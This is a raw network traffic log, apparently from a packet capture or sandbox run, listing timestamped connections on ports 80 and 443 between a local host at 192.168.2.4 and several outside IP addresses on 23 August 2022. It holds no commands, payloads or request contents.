Aug 23, 2022 03:42:53.013344049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013351917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013381004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013386965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013412952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013423920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013433933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013457060 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013467073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013484955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013499022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013529062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013737917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013756990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013773918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013786077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013802052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013814926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013823986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013849020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013878107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013887882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013901949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013916969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.013955116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.013966084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.014477015 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.014530897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.014544964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.014573097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.014588118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.014602900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.014628887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.014637947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.014904022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.014957905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.014971972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.015017033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.015166998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.015180111 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.015228987 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.015253067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.015284061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.015309095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.015325069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.015333891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.015358925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.015388012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.015415907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029016972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029043913 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029061079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029077053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029093027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029129982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029135942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029159069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029197931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029206038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029242992 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029244900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029305935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029306889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029339075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029356003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029356956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029386997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029416084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029423952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029442072 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029469967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029486895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.029491901 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:53.029539108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:53.152959108 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.152996063 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.153106928 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.155623913 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.155644894 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.234983921 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.235090017 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.238357067 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.238378048 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.241040945 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.241055965 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.282427073 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.282558918 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.282587051 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.282708883 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.282778978 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.325670958 CEST	49780	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.325706005 CEST	443	49780	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.694943905 CEST	49781	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.694989920 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.695110083 CEST	49781	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.702186108 CEST	49781	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.702265978 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.704674006 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.729527950 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.729624033 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.729784012 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.731195927 CEST	49772	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.731237888 CEST	443	49772	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.785106897 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.790158987 CEST	49781	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.790205956 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.791088104 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.796926975 CEST	49781	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:53.797197104 CEST	443	49781	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:53.933432102 CEST	49781	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:54.178494930 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:54.178538084 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:54.178633928 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:54.228266954 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:54.228308916 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:54.302643061 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:54.302773952 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.051780939 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.051822901 CEST	443	49790	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:55.051896095 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.076189041 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.076211929 CEST	443	49790	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:55.156152964 CEST	443	49790	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:55.156241894 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.195951939 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.195981979 CEST	443	49790	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:55.197581053 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.197601080 CEST	443	49790	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:55.222341061 CEST	443	49790	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:55.222450972 CEST	443	49790	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:55.222554922 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.222572088 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.225090027 CEST	49790	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:55.225120068 CEST	443	49790	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:55.409183025 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.409250975 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.409588099 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.409696102 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.419512033 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.467371941 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.473793030 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.473885059 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.473937035 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.473972082 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.474010944 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.474052906 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.474114895 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.474140882 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.474148035 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.654958010 CEST	49786	443	192.168.2.4	149.154.167.99
Aug 23, 2022 03:42:55.655003071 CEST	443	49786	149.154.167.99	192.168.2.4
Aug 23, 2022 03:42:55.667408943 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.706314087 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.706470013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.736056089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.775506020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.813786983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.813904047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.830622911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.868855953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869071007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869096994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869155884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.869172096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869178057 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.869199038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869229078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.869261026 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.869723082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869750023 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869774103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869776964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.869784117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.869798899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869824886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869827986 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.869851112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.869916916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.870327950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.907305002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907327890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907352924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907391071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907392025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.907408953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907411098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.907428026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907440901 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.907444954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907461882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907470942 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.907486916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.907500029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.907768011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907785892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907803059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907821894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.907943964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.908051014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.908071041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.908088923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.908155918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.908170938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.908174038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.908188105 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.908210039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.908310890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.908351898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.908459902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.908478975 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.908513069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.908528090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.945676088 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.945718050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.945777893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.945806026 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.945868969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.945910931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.945921898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.945967913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946068048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946111917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946154118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946166992 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946180105 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946194887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946216106 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946237087 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946279049 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946294069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946321964 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946362019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946379900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946403027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946420908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946445942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946485043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946506023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946525097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946547031 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946568012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946577072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946610928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946651936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946666956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946692944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946711063 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946733952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946752071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946775913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946813107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946855068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946893930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946927071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946937084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946968079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946979046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946983099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.946989059 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.946997881 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947022915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947046995 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947065115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947108984 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947129011 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947185040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947227001 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947241068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947256088 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947268009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947287083 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947309971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947376966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947377920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947386980 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947419882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947432995 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947460890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947477102 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947503090 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947518110 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947546005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947577000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.947638988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.947649956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.986471891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.986516953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.986633062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.986697912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.986757040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.986767054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987329006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987418890 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987459898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987503052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987557888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987567902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987647057 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987648964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987704039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987725019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987777948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987797022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987819910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987859964 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987900972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987901926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987909079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987941027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.987952948 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987982988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.987983942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988024950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988073111 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988111019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988136053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988194942 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988208055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988325119 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988351107 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988365889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988420010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988457918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988533974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988573074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988611937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988627911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988652945 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988682032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988728046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988730907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:55.988770008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:55.988773108 CEST	49792	80	192.168.2.4	135.181.104.248
